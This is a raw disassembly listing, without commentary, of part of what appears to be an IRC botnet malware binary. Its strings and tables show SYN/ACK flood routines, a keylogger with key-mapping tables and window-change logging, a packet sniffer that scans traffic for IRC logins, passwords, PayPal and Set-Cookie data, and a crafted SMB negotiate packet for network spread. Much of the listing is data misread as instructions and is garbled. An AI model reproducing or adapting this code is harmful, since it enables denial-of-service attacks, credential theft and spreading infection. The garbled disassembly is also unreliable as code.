		pop	ds
		and	[eax], ch
		db	64h
		outs	dx, dword ptr fs:[esi]
		jnb	short near ptr loc_4240B3+1
		jo	short loc_4240A7
		insb
		pop	ds
		sub	[bx+si], esp
		add	bh, [ebx+202002BBh]
		push	ebx
		outs	dx, byte ptr gs:[esi]
		and	fs:[ebp+72h], ah
		jb	short near ptr loc_42410A+1


loc_42409C:				; CODE XREF: _2:0042407Bj
		jb	short loc_4240D8
		and	ds:2E3E64h, bh
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4240A7:				; CODE XREF: _2:00424086j
					; DATA XREF: sub_4010B5:loc_4011E1o ...
		add	[esp+6Fh], ah
		jnb	short near ptr loc_4240DA+1
		jb	short loc_424110
		outsb
		outs	dx, dword ptr fs:[esi]
		insd


loc_4240B3:				; CODE XREF: _2:00424084j
					; DATA XREF: sub_4010B5:loc_4011C5o ...
		add	[esp+6Fh], ah
		jnb	short loc_4240E7
		popa
		arpl	[ebx+0], bp
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4240C0	dd 736F6464h, 6E79732Eh, 0 ; DATA XREF:	sub_4010B5+F1o
					; sub_40D2E0+2661o
dword_4240CC	dd 7A026E02h, 201F6D1Fh, 6D636928h ; DATA XREF:	sub_40144A+397o
; ---------------------------------------------------------------------------


loc_4240D8:				; CODE XREF: _2:00424071j
					; _2:loc_42409Cj
		jo	short loc_424108


loc_4240DA:				; CODE XREF: _2:004240ABj
		jo	short near ptr loc_4240F8+3
		insb
		pop	ds
		sub	[bx+si], esp
		add	bh, [ebx+202002BBh]


loc_4240E7:				; CODE XREF: _2:004240B7j
		inc	esp
		outsd
		outsb
		and	gs:[edi+69h], dh
		jz	short loc_424158
		and	ds:6C662073h, ah
		outsd
		outsd


loc_4240F8:				; CODE XREF: _2:loc_4240DAj
		and	fs:[edi+ebp*2+20h], dh
		dec	ecx
		push	eax
		cmp	ah, [eax]
		and	eax, 53202E73h
		outs	dx, byte ptr gs:[esi]


loc_424108:				; CODE XREF: _2:loc_4240D8j
		jz	short near ptr loc_424141+3


loc_42410A:				; CODE XREF: _2:0042409Aj
		and	ds:61702064h, ah


loc_424110:				; CODE XREF: _2:004240ADj
		arpl	[ebx+65h], bp
		jz	short loc_42413D
		jnb	short near ptr loc_42413E+2
		and	[eax+20h], al
		and	eax, 2F424B64h
		jnb	short loc_424186
		arpl	[eax], sp
		sub	ds:29424D64h, ah
		add	cs:[eax], al


loc_42412C:				; DATA XREF: sub_40144A+307o
		add	ch, [esi+2]
		jp	short loc_424150
		insd
		pop	ds
		and	[eax], ch
		imul	esp, [ebx+6Dh],	1F702E70h
		insb


loc_42413D:				; CODE XREF: _2:00424113j
		pop	ds


loc_42413E:				; CODE XREF: _2:00424115j
		sub	[bx+si], esp


loc_424141:				; CODE XREF: _2:loc_424108j
		add	bh, [ebx+202002BBh]
		inc	ebp
		jb	short near ptr loc_4241BB+1
		outsd
		jb	short loc_42416D
		jnb	short loc_4241B4
		outsb


loc_424150:				; CODE XREF: _2:0042412Fj
		imul	ebp, fs:[esi+67h], 63617020h


loc_424158:				; CODE XREF: _2:004240EEj
		imul	esp, [ebp+74h],	73h
		and	[edi+ebp*2+20h], dh
		dec	ecx
		push	eax
		cmp	ah, [eax]
		and	eax, 50202E73h
		popa
		arpl	[ebx+65h], bp


loc_42416D:				; CODE XREF: _2:0042414Bj
		jz	short loc_4241E2
		and	[ebx+65h], dh
		outsb
		jz	short near ptr loc_4241AC+3
		and	ds:52202E64h, ah
		db	65h
		jz	short near ptr loc_4241ED+6
		jb	short near ptr loc_4241ED+1
		db	65h
		cmp	ah, fs:[eax]
		cmp	al, 25h


loc_424186:				; CODE XREF: _2:0042411Fj
		db	64h, 3Eh
		add	cs:[eax], al


loc_42418B:				; DATA XREF: sub_40144A+12Ao
		add	[edx], al
		outsb
		add	bh, [edx+1Fh]
		insd
		pop	ds
		and	[eax], ch
		imul	esp, [ebx+6Dh],	1F702E70h
		insb
		pop	ds
		sub	[bx+si], esp
		add	bh, [ebx+202002BBh]
		dec	ecx
		outsb
		jbe	short near ptr loc_42420B+1
		insb


loc_4241AC:				; CODE XREF: _2:00424173j
		imul	esp, [eax+74h],	65677261h


loc_4241B4:				; CODE XREF: _2:0042414Dj
		jz	short near ptr loc_4241D1+5
		dec	ecx
		push	eax
		add	cs:[eax], al


loc_4241BB:				; CODE XREF: _2:00424148j
					; DATA XREF: sub_40144A+C2o
		add	[edx], al
		outsb
		add	bh, [edx+1Fh]
		insd
		pop	ds
		and	[eax], ch
		imul	esp, [ebx+6Dh],	1F702E70h
		insb
		pop	ds
		sub	[bx+si], esp


loc_4241D1:				; CODE XREF: _2:loc_4241B4j
		add	bh, [ebx+202002BBh]
		inc	ebp
		jb	short near ptr aSupersynDoneWi+4
		outsd
		jb	short near ptr loc_424216+1
		and	[ebx+65h], dh
		jz	short near ptr aSupersynDoneWi+0Dh


loc_4241E2:				; CODE XREF: _2:loc_42416Dj
		outsd
		arpl	[ebx+6Fh], bp
		jo	short near ptr aSupersynDoneWi+14h
		sub	[ecx], ch
		and	[esi+61h], ah


loc_4241ED:				; CODE XREF: _2:0042417Ej _2:0042417Bj
		imul	ebp, [ebp+64h],	6572202Ch
		jz	short near ptr aSupersynDoneWi+24h
		jb	short near ptr aSupersynDoneWi+1Fh
		db	65h
		cmp	ah, fs:[eax]
		cmp	al, 25h
		db	64h, 3Eh
		add	cs:[eax], al


loc_424204:				; DATA XREF: sub_40144A+49o
		add	ch, [esi+2]
		jp	short loc_424228
		insd
		pop	ds


loc_42420B:				; CODE XREF: _2:004241A9j
		and	[eax], ch
		imul	esp, [ebx+6Dh],	1F702E70h
		insb
		pop	ds


loc_424216:				; CODE XREF: _2:004241DBj
		sub	[bx+si], esp
		add	bh, [ebx+202002BBh]
		inc	ebp
		jb	short loc_424294
		outsd
		jb	short near ptr aSupersynDoneWi+17h
		and	[ebx+6Fh], dh


loc_424228:				; CODE XREF: _2:00424207j
		arpl	[ebx+65h], bp
		jz	short near ptr aSupersynDoneWi+0Dh
		sub	[eax], esp
		popaw
		imul	ebp, [ebp+64h],	6572202Ch
		jz	short near ptr loc_4242AF+1
		jb	short near ptr loc_4242AA+1
		db	65h
		cmp	ah, fs:[eax]
		cmp	al, 25h
		db	64h, 3Eh
		add	cs:[eax], al
; ---------------------------------------------------------------------------
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; CODE XREF: _2:004241D8j
					; _2:004241E0j	...
		align 10h
dword_424270	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h, 6F442020h,	7720656Eh, 20687469h
; ---------------------------------------------------------------------------


loc_424294:				; CODE XREF: _2:00424220j
		db	66h
		insb
		outsd
		outsd
		and	fs:[eax], ch
		and	eax, 2F424B69h
		jnb	short near ptr loc_424306+1
		arpl	[ecx], bp
		add	cs:[eax], al


loc_4242A7:				; DATA XREF: sub_401A76+27Do
		add	[edx], al
		outsb


loc_4242AA:				; CODE XREF: _2:0042423Bj
		add	bh, [edx+1Fh]
		insd
		pop	ds


loc_4242AF:				; CODE XREF: _2:00424239j
		and	[eax], ch
		jnb	short near ptr loc_42432A+2
		outsb
		db	2Eh
		jo	short near ptr loc_4242D4+2
		insb
		pop	ds
		sub	[bx+si], esp
		add	bh, [ebx+202002BBh]
		push	ebx
		outs	dx, byte ptr gs:[esi]
		and	fs:[ebp+72h], ah
		jb	short loc_42433A
		jb	short near ptr loc_424306+1
		and	ds:2E3E64h, bh


loc_4242D4:				; CODE XREF: _2:004242B4j
					; DATA XREF: sub_401D82+4EBo
		add	ch, [esi+2]
		jp	short near ptr loc_4242F7+1
		insd
		pop	ds
		and	[eax], ch
		jz	short near ptr loc_424341+1
		jo	short loc_42430F
		jo	short near ptr loc_4242FF+3
		insb
		pop	ds
		sub	[bx+si], esp
		add	bh, [ebx+202002BBh]
		inc	esp
		outsd
		outsb
		and	gs:[edi+69h], dh
		jz	short loc_42435F


loc_4242F7:				; CODE XREF: _2:004242D7j
		and	ds:6C662073h, ah
		outsd
		outsd


loc_4242FF:				; CODE XREF: _2:004242E1j
		and	fs:[edi+ebp*2+20h], dh
		dec	ecx
		push	eax


loc_424306:				; CODE XREF: _2:004242A0j _2:004242CBj
		cmp	ah, [eax]
		and	eax, 53202E73h
		outs	dx, byte ptr gs:[esi]


loc_42430F:				; CODE XREF: _2:004242DFj
		jz	short near ptr loc_424348+3
		and	ds:61702064h, ah
		arpl	[ebx+65h], bp
		jz	short loc_424344
		jnb	short near ptr loc_424345+2
		and	[eax+20h], al
		and	eax, 2F424B64h
		jnb	short loc_42438D
		arpl	[eax], sp


loc_42432A:				; CODE XREF: _2:004242B1j
		sub	ds:29424D64h, ah
		add	cs:[eax], al


loc_424333:				; DATA XREF: sub_401D82+44Fo
		add	[edx], al
		outsb
		add	bh, [edx+1Fh]
		insd


loc_42433A:				; CODE XREF: _2:004242C9j
		pop	ds
		and	[eax], ch
		jz	short near ptr aSyn+2
		jo	short near ptr loc_42436B+4


loc_424341:				; CODE XREF: _2:004242DDj
		jo	short near ptr loc_42435F+3
		insb


loc_424344:				; CODE XREF: _2:0042431Aj
		pop	ds


loc_424345:				; CODE XREF: _2:0042431Cj
		sub	[bx+si], esp


loc_424348:				; CODE XREF: _2:loc_42430Fj
		add	bh, [ebx+202002BBh]
		inc	ebp
		jb	short loc_4243C3
		outsd
		jb	short loc_424374
		jnb	short near ptr loc_4243B8+3
		outsb
		imul	ebp, fs:[esi+67h], 63617020h


loc_42435F:				; CODE XREF: _2:004242F5j
					; _2:loc_424341j
		imul	esp, [ebp+74h],	73h
		and	[edi+ebp*2+20h], dh
		dec	ecx
		push	eax
		cmp	ah, [eax]


loc_42436B:				; CODE XREF: _2:0042433Fj
		and	eax, 50202E73h
		popa
		arpl	[ebx+65h], bp


loc_424374:				; CODE XREF: _2:00424352j
		jz	short loc_4243E9
		and	[ebx+65h], dh
		outsb
		jz	short loc_4243B6
		and	ds:52202E64h, ah
		db	65h
		jz	short loc_4243FA
		jb	short near ptr loc_4243F4+1
		db	65h
		cmp	ah, fs:[eax]
		cmp	al, 25h


loc_42438D:				; CODE XREF: _2:00424326j
		db	64h, 3Eh
		add	cs:[eax], al
; ---------------------------------------------------------------------------
		dw 0
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40D2E0+2C3Co
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40D2E0+2C25o
aSyn		db 'syn',0              ; CODE XREF: _2:0042433Dj
					; DATA XREF: sub_401D82+2D2o ...
dword_4243A4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh ;	DATA XREF: sub_401D82+15Fo
		db 1Fh,	67h
; ---------------------------------------------------------------------------


loc_4243B6:				; CODE XREF: _2:0042437Aj
		sub	[eax], esp


loc_4243B8:				; CODE XREF: _2:00424354j
		add	bh, [ebx+202002BBh]
		dec	ecx
		outsb
		jbe	short loc_424423
		insb


loc_4243C3:				; CODE XREF: _2:0042434Fj
		imul	esp, [eax+74h],	65677261h
		jz	short near ptr loc_4243E9+4
		dec	ecx
		push	eax
		add	cs:[eax], al
; ---------------------------------------------------------------------------
		dw 0
dword_4243D4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		db 2
; ---------------------------------------------------------------------------


loc_4243E9:				; CODE XREF: _2:loc_424374j
					; _2:004243CBj
		mov	ebx, 202002BBh
		inc	ebp
		jb	short loc_424463
		outsd
		jb	short near ptr loc_42442D+1


loc_4243F4:				; CODE XREF: _2:00424385j
		and	[ebx+65h], dh
		jz	short near ptr dword_42446C
		outsd


loc_4243FA:				; CODE XREF: _2:00424382j
		arpl	[ebx+6Fh], bp
		jo	short loc_424473
		sub	[ecx], ch
		and	[esi+61h], ah
		imul	ebp, [ebp+64h],	6572202Ch
		jz	short near ptr byte_424483
		jb	short loc_42447E
		db	65h
		cmp	ah, fs:[eax]
		cmp	al, 25h
		db	64h, 3Eh
		add	cs:[eax], al


loc_42441B:				; DATA XREF: sub_401D82+70o
		add	[edx], al
		outsb
		add	bh, [edx+1Fh]
		insd
		pop	ds


loc_424423:				; CODE XREF: _2:004243C0j
		and	[eax], ch
		jz	short near ptr word_42448A
		jo	short near ptr loc_424454+3
		jo	short near ptr loc_424448+2
		insb
		pop	ds


loc_42442D:				; CODE XREF: _2:004243F2j
		sub	[bx+si], esp
		add	bh, [ebx+202002BBh]
		inc	ebp
		jb	short near ptr byte_4244AB
		outsd
		jb	short near ptr loc_424473+3
		and	[ebx+6Fh], dh
		arpl	[ebx+65h], bp
		jz	short near ptr dword_42446C
		sub	[eax], esp
		popaw


loc_424448:				; CODE XREF: _2:00424429j
		imul	ebp, [ebp+64h],	6572202Ch
		jz	short loc_4244C7
		jb	short near ptr word_4244C2


loc_424454:				; CODE XREF: _2:00424427j
		db	65h
		cmp	ah, fs:[eax]
		cmp	al, 25h
		db	64h, 3Eh
		add	cs:[eax], al
		add	[eax], cl
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_424463:				; CODE XREF: _2:004243EFj
					; DATA XREF: sub_4023A7:loc_40248Ao
		add	[edx+0], ah
; ---------------------------------------------------------------------------
		dw 0
		dd 62000000h
dword_42446C	dd 0			; CODE XREF: _2:004243F7j _2:00424442j
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_424473:				; CODE XREF: _2:004243FDj _2:0042443Aj
		add	ds:65000000h, cl
; ---------------------------------------------------------------------------
		db 3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42447E:				; CODE XREF: _2:0042440Ej
		add	[ebp+0], ah
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_424483	db 0			; CODE XREF: _2:0042440Cj
		align 8
		db 1Bh,	0
word_42448A	dw 0			; CODE XREF: _2:00424425j
		dd 4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h
		db 46h,	31h, 5Dh
byte_4244AB	db 0			; CODE XREF: _2:00424437j
		align 10h
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h
		db 2 dup(0)
word_4244C2	dw 0			; CODE XREF: _2:00424452j
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4244C7:				; CODE XREF: _2:00424450j
		add	[ebx+46h], bl
		xor	ebx, [ebp+0]
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Bh
		dd 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_424B94	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_424BCC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40D2E0+2AE5o
		align 4
asc_424C0C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_424C58	dd offset dword_4254D0	; DATA XREF: sub_402688+29Er
		dd offset off_4254CC
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_424C68	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_424C7C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: _2:00424C64o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: _2:00424C60o
off_4254CC	dd offset byte_435249	; DATA XREF: _2:00424C5Co
dword_4254D0	dd 544F42h		; DATA XREF: _2:off_424C58o
unk_4254D4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_425518	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_425568	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4255B0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_4255F4	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_402C5D+B2o
		align 4
dword_425644	dd 10FF8h, 0		; DATA XREF: sub_402C5D+6Ao
dword_42564C	dd 10FF8h		; DATA XREF: sub_402C5D+79o
dword_425650	dd 7FFDF020h, 0		; DATA XREF: sub_402C5D+162o
dword_425658	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403087+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4256E0	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403087+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_425710	dd 0			; DATA XREF: sub_403087+44o
		dd 800000D4h, 0
unk_42571C	db  81h	; 		; DATA XREF: sub_403161+Ao
		db 2 dup(0), 44h
